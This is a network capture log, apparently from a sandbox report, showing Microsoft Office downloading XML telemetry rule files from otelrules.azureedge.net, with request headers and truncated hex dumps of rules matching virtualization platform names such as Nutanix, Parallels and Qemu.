Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.4	49815	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:28:08 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:28:08 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:28:08 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 57989b77-d01e-0049-621c-27e7dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102808Z-16849878b78j5kdg3dndgqw0vg0000000b6g0000000014q7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 10:28:08 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.4	49816	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:28:08 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:28:08 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:28:08 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: a1cd7d15-b01e-0070-762b-271cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102808Z-16849878b78qg9mlz11wgn0wcc0000000910000000003rmm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 10:28:08 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.4	49818	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:28:08 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:28:08 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:28:08 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: c2db9b5f-901e-0015-105a-27b284000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102808Z-16849878b78bcpfn2qf7sm6hsn0000000ax000000000cu5v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 10:28:08 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.4	49817	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:28:08 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:28:08 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:28:08 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 3c5c3d60-c01e-0066-4c9e-26a1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102808Z-16849878b78nzcqcd7bed2fb6n00000001sg00000000cwqa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 10:28:08 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.4	49819	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:28:10 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:28:10 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:28:10 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 5b2d2bb9-d01e-0028-519c-277896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102810Z-15b8d89586fcvr6p5956n5d0rc0000000fk0000000005v7b x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 10:28:10 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.4	49823	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:28:10 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:28:10 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:28:10 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: 909d81a9-e01e-0099-782c-29da8a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102810Z-15b8d89586fst84kttks1s2css000000030000000000a1wq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 10:28:10 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.4	49822	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:28:10 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:28:10 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:28:10 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 6cbbe1db-401e-0083-6516-26075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102810Z-16849878b78wc6ln1zsrz6q9w8000000093g0000000050yx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 10:28:10 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.4	49820	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:28:10 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:28:10 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:28:10 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: 7a23be84-101e-0079-6389-285913000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102810Z-15b8d89586ff5l62aha9080wv00000000asg000000004beq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 10:28:10 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.4	49821	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:28:10 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:28:10 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:28:10 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 8e6d5db5-101e-0017-4c27-2747c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102810Z-16849878b7828dsgct3vrzta7000000007sg000000009w2w x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 10:28:10 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.4	49827	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:28:11 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:28:11 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:28:11 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 4bda8ee7-201e-0003-1763-27f85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102811Z-16849878b78p8hrf1se7fucxk80000000abg000000002aa1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 10:28:11 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.4	49824	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:28:11 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:28:11 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:28:11 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: f4a85f8f-401e-00ac-0701-270a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102811Z-16849878b785jrf8dn0d2rczaw0000000aeg00000000eetn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 10:28:11 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.4	49825	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:28:11 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:28:11 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:28:11 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 9cbc4178-801e-008f-12a3-262c5d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102811Z-16849878b78zqkvcwgr6h55x9n00000008x0000000003mkt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 10:28:11 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 